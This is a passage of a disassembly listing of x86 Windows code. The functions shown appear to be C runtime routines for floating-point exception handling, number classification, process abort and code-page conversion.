--------------------------------------------------------------------------- loc_41971E: ; CODE XREF: sub_419634+4Aj ; sub_419634+54j test al, 2 jz loc_4197F3 test byte ptr [ebp+arg_8], 10h jz loc_4197F3 xor esi, esi test al, 10h jz short loc_419738 mov esi, ebx loc_419738: ; CODE XREF: sub_419634+100j fldz push edi mov edi, [ebp+arg_4] fcomp qword ptr [edi] fnstsw ax test ah, 44h jnp loc_4197DD fld qword ptr [edi] lea eax, [ebp+var_8] push eax ; int push ecx push ecx ; double fstp [esp+28h+var_28] call sub_419AAB mov ecx, [ebp+var_8] fstp [ebp+var_10] add ecx, 0FFFFFA00h add esp, 0Ch cmp ecx, 0FFFFFBCEh jge short loc_41977F fld [ebp+var_10] mov esi, ebx fmul ds:dbl_41FDF0 jmp short loc_4197D3 ; --------------------------------------------------------------------------- loc_41977F: ; CODE XREF: sub_419634+13Cj fldz fcomp [ebp+var_10] fnstsw ax test ah, 41h jnz short loc_41978F mov edx, ebx jmp short loc_419791 ; --------------------------------------------------------------------------- loc_41978F: ; CODE XREF: sub_419634+155j xor edx, edx loc_419791: ; CODE XREF: sub_419634+159j movzx eax, byte ptr [ebp+var_10+6] and eax, 0Fh or eax, 10h mov word ptr [ebp+var_10+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_4197CA sub eax, ecx loc_4197AA: ; CODE XREF: sub_419634+194j test byte ptr [ebp+var_10], bl jz short loc_4197B5 test esi, esi jnz short loc_4197B5 mov esi, ebx loc_4197B5: ; CODE XREF: sub_419634+179j ; sub_419634+17Dj shr dword ptr [ebp+var_10], 1 test byte ptr [ebp+var_10+4], bl jz short loc_4197C4 or dword ptr [ebp+var_10], 80000000h loc_4197C4: ; CODE XREF: sub_419634+187j shr dword ptr [ebp+var_10+4], 1 dec eax jnz short loc_4197AA loc_4197CA: ; CODE XREF: sub_419634+172j test edx, edx jz short loc_4197D6 fld [ebp+var_10] fchs loc_4197D3: ; CODE XREF: sub_419634+149j fstp [ebp+var_10] loc_4197D6: ; CODE XREF: sub_419634+198j fld [ebp+var_10] fstp qword ptr [edi] jmp short loc_4197DF ; --------------------------------------------------------------------------- loc_4197DD: ; CODE XREF: sub_419634+111j mov esi, ebx loc_4197DF: ; CODE XREF: sub_419634+1A7j test esi, esi pop edi jz short loc_4197EC push 10h call sub_419B98 pop ecx loc_4197EC: ; CODE XREF: sub_419634+1AEj and [ebp+var_4], 0FFFFFFFDh mov esi, [ebp+var_4] loc_4197F3: ; CODE XREF: sub_419634+29j ; sub_419634+43j ... test byte ptr [ebp+arg_0], 10h jz short loc_41980A test byte ptr [ebp+arg_8], 20h jz short loc_41980A push 20h call sub_419B98 pop ecx and esi, 0FFFFFFEFh loc_41980A: ; CODE XREF: sub_419634+1C3j ; sub_419634+1C9j xor eax, eax test esi, esi pop esi setz al pop ebx leave retn sub_419634 endp ; =============== S U B R O U T I N E ======================================= sub_419815 proc near ; CODE XREF: sub_41986A+6Cp ; sub_41986A+91p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_419831 jle short locret_41983C cmp eax, 3 jg short locret_41983C call sub_40F7D4 mov dword ptr [eax], 22h retn ; --------------------------------------------------------------------------- loc_419831: ; CODE XREF: sub_419815+7j call sub_40F7D4 mov dword ptr [eax], 21h locret_41983C: ; CODE XREF: sub_419815+9j ; sub_419815+Ej retn sub_419815 endp ; =============== S U B R O U T I N E ======================================= sub_41983D proc near ; CODE XREF: sub_41995B+55p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_419849 push 5 jmp short loc_41985F ; --------------------------------------------------------------------------- loc_419849: ; CODE XREF: sub_41983D+6j test al, 8 jz short loc_419851 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_419851: ; CODE XREF: sub_41983D+Ej test al, 4 jz short loc_419859 push 2 jmp short loc_41985F ; --------------------------------------------------------------------------- loc_419859: ; CODE XREF: sub_41983D+16j test al, 1 jz short loc_419861 push 3 loc_41985F: ; CODE XREF: sub_41983D+Aj ; sub_41983D+1Aj pop eax retn ; --------------------------------------------------------------------------- loc_419861: ; CODE XREF: sub_41983D+1Ej movzx eax, al and eax, 2 add eax, eax retn sub_41983D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41986A(int,int,int,int,int,int,double,int) sub_41986A proc near ; CODE XREF: sub_419908+2Ap ; sub_41995B+87p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h xor eax, eax loc_419872: ; CODE XREF: sub_41986A+18j mov ecx, dword_423FB0[eax*8] cmp ecx, [ebp+arg_4] jz short loc_4198E2 inc eax cmp eax, 1Dh jl short loc_419872 xor eax, eax loc_419886: ; CODE XREF: sub_41986A+7Fj test eax, eax mov [ebp+var_1C], eax jz short loc_4198EB mov eax, [ebp+arg_8] mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push esi mov esi, [ebp+arg_0] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] push 0FFFFh push [ebp+arg_20] mov [ebp+var_20], esi mov dword ptr [ebp+var_8+4], eax call sub_419B71 lea eax, [ebp+var_20] push eax call sub_4192D8 add esp, 0Ch test eax, eax jnz short loc_4198DC push esi call sub_419815 pop ecx loc_4198DC: ; CODE XREF: sub_41986A+69j fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4198E2: ; CODE XREF: sub_41986A+12j mov eax, off_423FB4[eax*8] jmp short loc_419886 ; --------------------------------------------------------------------------- loc_4198EB: ; CODE XREF: sub_41986A+21j push 0FFFFh push [ebp+arg_20] call sub_419B71 push [ebp+arg_0] call sub_419815 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41986A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419908(int,double,int) sub_419908 proc near ; CODE XREF: sub_4146A6+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = qword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_423FA0, 0 jnz short loc_41993C push [ebp+arg_C] ; int fld [ebp+arg_4] sub esp, 18h fstp [esp+1Ch+var_C] fldz fstp [esp+1Ch+var_14] fld [ebp+arg_4] fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41986A add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_41993C: ; CODE XREF: sub_419908+Aj call sub_40F7D4 push 0FFFFh push [ebp+arg_C] mov dword ptr [eax], 21h call sub_419B71 fld [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_419908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41995B(int,int,double,double,int) sub_41995B proc near ; CODE XREF: sub_4146A6:loc_41476Bp var_9C = qword ptr -9Ch var_94 = qword ptr -94h var_8C = qword ptr -8Ch var_84 = dword ptr -84h var_80 = byte ptr -80h var_40 = dword ptr -40h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp and esp, 0FFFFFFF0h sub esp, 80h mov eax, dword_423068 xor eax, esp mov [esp+80h+var_4], eax push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_419634 add esp, 0Ch test eax, eax jnz short loc_4199AD and [esp+80h+var_40], 0FFFFFFFEh push eax lea eax, [ebp+arg_10] push eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+arg_18] push [ebp+arg_0] push eax lea eax, [esp+98h+var_80] push eax call sub_41935A add esp, 1Ch loc_4199AD: ; CODE XREF: sub_41995B+2Bj push [ebp+arg_0] call sub_41983D add esp, 4 cmp dword_423FA0, 0 jnz short loc_4199EC test eax, eax jz short loc_4199EC push [ebp+arg_18] ; int fld [ebp+arg_10] sub esp, 18h fstp [esp+9Ch+var_8C] fldz fstp [esp+9Ch+var_94] fld [ebp+arg_8] fstp [esp+9Ch+var_9C] push [ebp+arg_4] ; int push eax ; int call sub_41986A add esp, 24h jmp short loc_419A06 ; --------------------------------------------------------------------------- loc_4199EC: ; CODE XREF: sub_41995B+64j ; sub_41995B+68j push eax call sub_419815 mov [esp+84h+var_84], 0FFFFh push [ebp+arg_18] call sub_419B71 fld [ebp+arg_10] pop ecx pop ecx loc_419A06: ; CODE XREF: sub_41995B+8Fj mov ecx, [esp+80h+var_4] xor ecx, esp call sub_40AB4A mov esp, ebp pop ebp retn sub_41995B endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_419A15(double) sub_419A15 proc near ; CODE XREF: sub_4146A6:loc_41472Cp var_8 = qword ptr -8 arg_0 = qword ptr 4 push ecx push ecx fld [esp+8+arg_0] frndint fstp [esp+8+var_8] fld [esp+8+var_8] pop ecx pop ecx retn sub_419A15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419A26(double,int) sub_419A26 proc near ; CODE XREF: sub_419AAB+79p ; sub_419AAB+8Ep var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] fld [ebp+arg_0] mov ecx, dword ptr [ebp+arg_0+6] fstp [ebp+var_8] add eax, 3FEh shl eax, 4 and ecx, 0FFFF800Fh or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_419A26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A50 proc near ; CODE XREF: sub_4146A6+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_419A68 cmp [ebp+arg_0], edx jnz short loc_419A7B xor eax, eax inc eax pop ebp retn ; --------------------------------------------------------------------------- loc_419A68: ; CODE XREF: sub_419A50+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_419A7B cmp [ebp+arg_0], edx jnz short loc_419A7B push 2 loc_419A78: ; CODE XREF: sub_419A50+3Cj ; sub_419A50+55j pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_419A7B: ; CODE XREF: sub_419A50+11j ; sub_419A50+1Fj ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_419A8E push 3 jmp short loc_419A78 ; --------------------------------------------------------------------------- loc_419A8E: ; CODE XREF: sub_419A50+38j cmp cx, 7FF0h jnz short loc_419AA7 test [ebp+arg_4], 7FFFFh jnz short loc_419AA3 cmp [ebp+arg_0], edx jz short loc_419AA7 loc_419AA3: ; CODE XREF: sub_419A50+4Cj push 4 jmp short loc_419A78 ; --------------------------------------------------------------------------- loc_419AA7: ; CODE XREF: sub_419A50+43j ; sub_419A50+51j xor eax, eax pop ebp retn sub_419A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419AAB(double,int) sub_419AAB proc near ; CODE XREF: sub_419634+122p var_C = qword ptr -0Ch arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp fldz fcom [ebp+arg_0] fnstsw ax test ah, 44h jp short loc_419AC1 xor edx, edx jmp loc_419B53 ; --------------------------------------------------------------------------- loc_419AC1: ; CODE XREF: sub_419AAB+Dj xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_419B2E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_419AD9 cmp dword ptr [ebp+arg_0], ecx jz short loc_419B2E loc_419AD9: ; CODE XREF: sub_419AAB+27j fcomp [ebp+arg_0] mov edx, 0FFFFFC03h fnstsw ax test ah, 41h jnz short loc_419AED xor eax, eax inc eax jmp short loc_419B05 ; --------------------------------------------------------------------------- loc_419AED: ; CODE XREF: sub_419AAB+3Bj xor eax, eax jmp short loc_419B05 ; --------------------------------------------------------------------------- loc_419AF1: ; CODE XREF: sub_419AAB+5Ej shl dword ptr [ebp+arg_0+4], 1 test dword ptr [ebp+arg_0], 80000000h jz short loc_419B01 or dword ptr [ebp+arg_0+4], 1 loc_419B01: ; CODE XREF: sub_419AAB+50j shl dword ptr [ebp+arg_0], 1 dec edx loc_419B05: ; CODE XREF: sub_419AAB+40j ; sub_419AAB+44j test byte ptr [ebp+arg_0+6], 10h jz short loc_419AF1 and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_419B1B or word ptr [ebp+arg_0+6], 8000h loc_419B1B: ; CODE XREF: sub_419AAB+68j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+0Ch+var_C] call sub_419A26 add esp, 0Ch jmp short loc_419B53 ; --------------------------------------------------------------------------- loc_419B2E: ; CODE XREF: sub_419AAB+1Ej ; sub_419AAB+2Cj push ecx ; int fstp st fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+0Ch+var_C] call sub_419A26 mov edx, dword ptr [ebp+arg_0+6] shr edx, 4 and edx, 7FFh add esp, 0Ch sub edx, 3FEh loc_419B53: ; CODE XREF: sub_419AAB+11j ; sub_419AAB+81j mov eax, [ebp+arg_8] mov [eax], edx pop ebp retn sub_419AAB endp ; =============== S U B R O U T I N E ======================================= sub_419B5A proc near ; CODE XREF: sub_41935A+DCp var_4 = word ptr -4 push ecx fstsw [esp+4+var_4] movsx eax, [esp+4+var_4] pop ecx retn sub_419B5A endp ; =============== S U B R O U T I N E ======================================= sub_419B65 proc near ; CODE XREF: sub_41935A:loc_41956Dp var_4 = word ptr -4 push ecx fnstsw [esp+4+var_4] fnclex movsx eax, [esp+4+var_4] pop ecx retn sub_419B65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B71 proc near ; CODE XREF: sub_4146A6+13p ; sub_4146A6+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] not eax and eax, [ebp+var_4] or eax, ecx movzx eax, ax mov [ebp+arg_4], eax fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_419B71 endp ; =============== S U B R O U T I N E ======================================= sub_419B98 proc near ; CODE XREF: sub_419634+20p ; sub_419634+3Ap ... var_8 = qword ptr -8 arg_0 = dword ptr 4 push ecx push ecx mov cl, byte ptr [esp+8+arg_0] test cl, 1 jz short loc_419BAE fld tbyte_4240C0 fistp [esp+8+arg_0] wait loc_419BAE: ; CODE XREF: sub_419B98+9j test cl, 8 jz short loc_419BC3 fstsw ax fld tbyte_4240C0 fstp [esp+8+var_8] wait fstsw ax loc_419BC3: ; CODE XREF: sub_419B98+19j test cl, 10h jz short loc_419BD2 fld tbyte_4240CC fstp [esp+8+var_8] wait loc_419BD2: ; CODE XREF: sub_419B98+2Ej test cl, 4 jz short loc_419BE0 fldz fld1 fdivrp st(1), st fstp st wait loc_419BE0: ; CODE XREF: sub_419B98+3Dj test cl, 20h jz short loc_419BEB fldpi fstp [esp+8+var_8] wait loc_419BEB: ; CODE XREF: sub_419B98+4Bj pop ecx pop ecx retn sub_419B98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419BEE proc near ; CODE XREF: sub_41CFB7+243p ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_421EE0 call __SEH_prolog4 xor eax, eax cmp dword_434D40, eax jz short loc_419C5A test byte ptr [ebp+arg_0], 40h jz short loc_419C52 cmp dword_4240D8, eax jz short loc_419C52 mov [ebp+ms_exc.disabled], eax ldmxcsr [ebp+arg_0] jmp short loc_419C49 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] cmp eax, 0C0000005h jz short loc_419C33 cmp eax, 0C000001Dh jz short loc_419C33 xor eax, eax retn ; --------------------------------------------------------------------------- loc_419C33: ; CODE XREF: sub_419BEE+39j ; sub_419BEE+40j xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] and dword_4240D8, 0 and [ebp+arg_0], 0FFFFFFBFh ldmxcsr [ebp+arg_0] loc_419C49: ; CODE XREF: sub_419BEE+2Bj mov [ebp+ms_exc.disabled], 0FFFFFFFEh jmp short loc_419C5A ; --------------------------------------------------------------------------- loc_419C52: ; CODE XREF: sub_419BEE+1Aj ; sub_419BEE+22j and [ebp+arg_0], 0FFFFFFBFh ldmxcsr [ebp+arg_0] loc_419C5A: ; CODE XREF: sub_419BEE+14j ; sub_419BEE+62j call __SEH_epilog4 retn sub_419BEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C60 proc near ; CODE XREF: sub_419CB1+Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40AB59 movzx eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov dl, [ebp+arg_C] test [ecx+eax+1Dh], dl jnz short loc_419C9F cmp [ebp+arg_8], 0 jz short loc_419C99 mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, [ebp+arg_8] jmp short loc_419C9B ; --------------------------------------------------------------------------- loc_419C99: ; CODE XREF: sub_419C60+25j xor eax, eax loc_419C9B: ; CODE XREF: sub_419C60+37j test eax, eax jz short loc_419CA2 loc_419C9F: ; CODE XREF: sub_419C60+1Fj xor eax, eax inc eax loc_419CA2: ; CODE XREF: sub_419C60+3Dj cmp [ebp+var_4], 0 jz short locret_419CAF mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_419CAF: ; CODE XREF: sub_419C60+46j leave retn sub_419C60 endp ; =============== S U B R O U T I N E ======================================= sub_419CB1 proc near ; CODE XREF: sub_4148E6+3Fp ; sub_414A1E+53p ... arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] push 0 call sub_419C60 add esp, 10h retn sub_419CB1 endp ; =============== S U B R O U T I N E ======================================= sub_419CC4 proc near ; CODE XREF: sub_414E80+56p ; sub_4153FB+59p ... arg_0 = dword ptr 4 xor eax, eax inc eax cmp [esp+arg_0], 0 jnz short locret_419CD0 xor eax, eax locret_419CD0: ; CODE XREF: sub_419CC4+8j retn sub_419CC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2A8h sub_419CD1 proc near ; CODE XREF: sub_415BBB:loc_415BE9p var_328 = dword ptr -328h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 push ebp lea ebp, [esp-2A8h] sub esp, 328h mov eax, dword_423068 xor eax, ebp mov [ebp+2A8h+var_4], eax test byte_4240DC, 1 push esi jz short loc_419CFE push 0Ah call sub_4136C1 pop ecx loc_419CFE: ; CODE XREF: sub_419CD1+23j call sub_4179CF test eax, eax jz short loc_419D0F push 16h call sub_4179DC pop ecx loc_419D0F: ; CODE XREF: sub_419CD1+34j test byte_4240DC, 2 jz loc_419DBC mov [ebp+2A8h+var_220], eax mov [ebp+2A8h+var_224], ecx mov [ebp+2A8h+var_228], edx mov [ebp+2A8h+var_22C], ebx mov [ebp+2A8h+var_230], esi mov [ebp+2A8h+var_234], edi mov [ebp+2A8h+var_208], ss mov [ebp+2A8h+var_214], cs mov [ebp+2A8h+var_238], ds mov [ebp+2A8h+var_23C], es mov [ebp+2A8h+var_240], fs mov [ebp+2A8h+var_244], gs pushf pop [ebp+2A8h+var_210] mov esi, [ebp+2ACh] lea eax, [ebp+2ACh] mov [ebp+2A8h+var_20C], eax mov [ebp+2A8h+var_2D0], 10001h mov [ebp+2A8h+var_218], esi mov eax, [eax-4] push 50h mov [ebp+2A8h+var_21C], eax lea eax, [ebp+2A8h+var_328] push 0 push eax call sub_40C6F0 lea eax, [ebp+2A8h+var_328] add esp, 0Ch mov [ebp+2A8h+var_2D8], eax lea eax, [ebp+2A8h+var_2D0] push 0 mov [ebp+2A8h+var_328], 40000015h mov [ebp+2A8h+var_31C], esi mov [ebp+2A8h+var_2D4], eax call ds:dword_41E1A8 ; SetUnhandledExceptionFilter lea eax, [ebp+2A8h+var_2D8] push eax call ds:off_41E1A4 loc_419DBC: ; CODE XREF: sub_419CD1+45j push 3 call sub_411BEA int 3 ; Trap to Debugger sub_419CD1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DC4 proc near ; CODE XREF: sub_415CB7+25Ap ; sub_41609C+150p var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push 6 lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call ds:off_41E0AC test eax, eax jnz short loc_419DF5 or eax, 0FFFFFFFFh jmp short loc_419DFF ; --------------------------------------------------------------------------- loc_419DF5: ; CODE XREF: sub_419DC4+2Aj lea eax, [ebp+var_C] push eax call sub_40DE2C pop ecx loc_419DFF: ; CODE XREF: sub_419DC4+2Fj mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AB4A leave retn sub_419DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E0B proc near ; CODE XREF: sub_415CB7+285p ; sub_415CB7+336p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+arg_10] mov [ebp+var_28], eax mov eax, [ebp+arg_C] push ebx mov [ebp+var_30], eax mov eax, [eax] push esi mov [ebp+var_24], eax mov eax, [ebp+arg_0] push edi xor edi, edi cmp eax, [ebp+arg_4] mov [ebp+var_34], ecx mov [ebp+var_20], edi mov [ebp+var_2C], edi jz loc_419FA8 mov esi, ds:dword_41E180 lea ecx, [ebp+var_18] push ecx push eax call esi ; GetCPInfo test eax, eax mov ebx, ds:dword_41E08C jz short loc_419EBE cmp [ebp+var_18], 1 jnz short loc_419EBE lea eax, [ebp+var_18] push eax push [ebp+arg_4] call esi ; GetCPInfo test eax, eax jz short loc_419EBE cmp [ebp+var_18], 1 jnz short loc_419EBE mov esi, [ebp+var_24] cmp esi, 0FFFFFFFFh mov [ebp+var_2C], 1 jnz short loc_419E94 push [ebp+var_28] call sub_40C500 mov esi, eax pop ecx inc esi loc_419E94: ; CODE XREF: sub_419E0B+7Bj cmp esi, edi loc_419E96: ; CODE XREF: sub_419E0B+C6j jle short loc_419EF3 cmp esi, 7FFFFFF0h ja short loc_419EF3 lea eax, [esi+esi+8] cmp eax, 400h ja short loc_419EDA call sub_419FC0 mov eax, esp cmp eax, edi jz short loc_419EEE mov dword ptr [eax], 0CCCCh jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EBE: ; CODE XREF: sub_419E0B+53j ; sub_419E0B+59j ... push edi push edi push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; MultiByteToWideChar mov esi, eax cmp esi, edi jnz short loc_419E96 loc_419ED3: ; CODE XREF: sub_419E0B+EEj xor eax, eax jmp loc_419FAB ; --------------------------------------------------------------------------- loc_419EDA: ; CODE XREF: sub_419E0B+9Ej push eax call sub_40D437 cmp eax, edi pop ecx jz short loc_419EEE mov dword ptr [eax], 0DDDDh loc_419EEB: ; CODE XREF: sub_419E0B+B1j add eax, 8 loc_419EEE: ; CODE XREF: sub_419E0B+A9j ; sub_419E0B+D8j mov [ebp+var_1C], eax jmp short loc_419EF6 ; --------------------------------------------------------------------------- loc_419EF3: ; CODE XREF: sub_419E0B:loc_419E96j ; sub_419E0B+93j mov [ebp+var_1C], edi loc_419EF6: ; CODE XREF: sub_419E0B+E6j cmp [ebp+var_1C], edi jz short loc_419ED3 lea eax, [esi+esi] push eax push edi push [ebp+var_1C] call sub_40C6F0 add esp, 0Ch push esi push [ebp+var_1C] push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; MultiByteToWideChar test eax, eax jz short loc_419F9F mov ebx, [ebp+var_34] cmp ebx, edi jz short loc_419F44 push edi push edi push [ebp+arg_14] push ebx push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ds:dword_41E120 ; WideCharToMultiByte test eax, eax jz short loc_419F9F mov [ebp+var_20], ebx jmp short loc_419F9F ; --------------------------------------------------------------------------- loc_419F44: ; CODE XREF: sub_419E0B+11Aj cmp [ebp+var_2C], edi mov ebx, ds:dword_41E120 jnz short loc_419F63 push edi push edi push edi push edi push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_419F9F loc_419F63: ; CODE XREF: sub_419E0B+142j push esi push 1 call sub_41187A cmp eax, edi pop ecx pop ecx mov [ebp+var_20], eax jz short loc_419F9F push edi push edi push esi push eax push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; WideCharToMultiByte cmp eax, edi jnz short loc_419F94 push [ebp+var_20] call sub_40D35A pop ecx mov [ebp+var_20], edi jmp short loc_419F9F ; --------------------------------------------------------------------------- loc_419F94: ; CODE XREF: sub_419E0B+179j cmp [ebp+var_24], 0FFFFFFFFh jz short loc_419F9F mov ecx, [ebp+var_30] mov [ecx], eax loc_419F9F: ; CODE XREF: sub_419E0B+113j ; sub_419E0B+132j ... push [ebp+var_1C] call sub_415C9C pop ecx loc_419FA8: ; CODE XREF: sub_419E0B+38j mov eax, [ebp+var_20] loc_419FAB: ; CODE XREF: sub_419E0B+CAj lea esp, [ebp-40h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AB4A leave retn sub_419E0B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419FC0 proc near ; CODE XREF: sub_415CB7+F3p ; sub_415CB7+1B1p ... arg_0 = byte ptr 4 push ecx lea ecx, [esp+4+arg_0] sub ecx, eax and ecx, 0Fh add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp sub_41AF10 sub_419FC0 endp ; --------------------------------------------------------------------------- push ecx lea ecx, [esp+8] sub ecx, eax and ecx, 7 add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp sub_41AF10 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FEC proc near ; CODE XREF: sub_416BBA+2A1p ; sub_416BBA+2C1p var_10 = byte ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push esi xor esi, esi cmp dword_4241F8, esi jz short loc_41A055 cmp dword_424204, 0FFFFFFFEh jnz short loc_41A015 call sub_41AF3B loc_41A015: ; CODE XREF: sub_419FEC+22j mov eax, dword_424204 cmp eax, 0FFFFFFFFh jnz short loc_41A025 loc_41A01F: ; CODE XREF: sub_419FEC+56j ; sub_419FEC+61j ... or ax, 0FFFFh jmp short loc_41A095 ; --------------------------------------------------------------------------- loc_41A025: ; CODE XREF: sub_419FEC+31j push esi lea ecx, [ebp+var_10] push ecx push 1 lea ecx, [ebp+arg_0] push ecx push eax call ds:off_41E098 test eax, eax jnz short loc_41A0A2 cmp dword_4241F8, 2 jnz short loc_41A01F call ds:dword_41E0D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41A01F mov dword_4241F8, esi loc_41A055: ; CODE XREF: sub_419FEC+19j push esi push esi push 5 lea eax, [ebp+var_C] push eax push 1 lea eax, [ebp+arg_0] push eax push esi call ds:off_41E09C push eax call ds:dword_41E120 ; WideCharToMultiByte mov ecx, dword_424204 cmp ecx, 0FFFFFFFFh jz short loc_41A01F push esi lea edx, [ebp+var_10] push edx push eax lea eax, [ebp+var_C] push eax push ecx call ds:off_41E0A0 test eax, eax jz short loc_41A01F loc_41A091: ; CODE XREF: 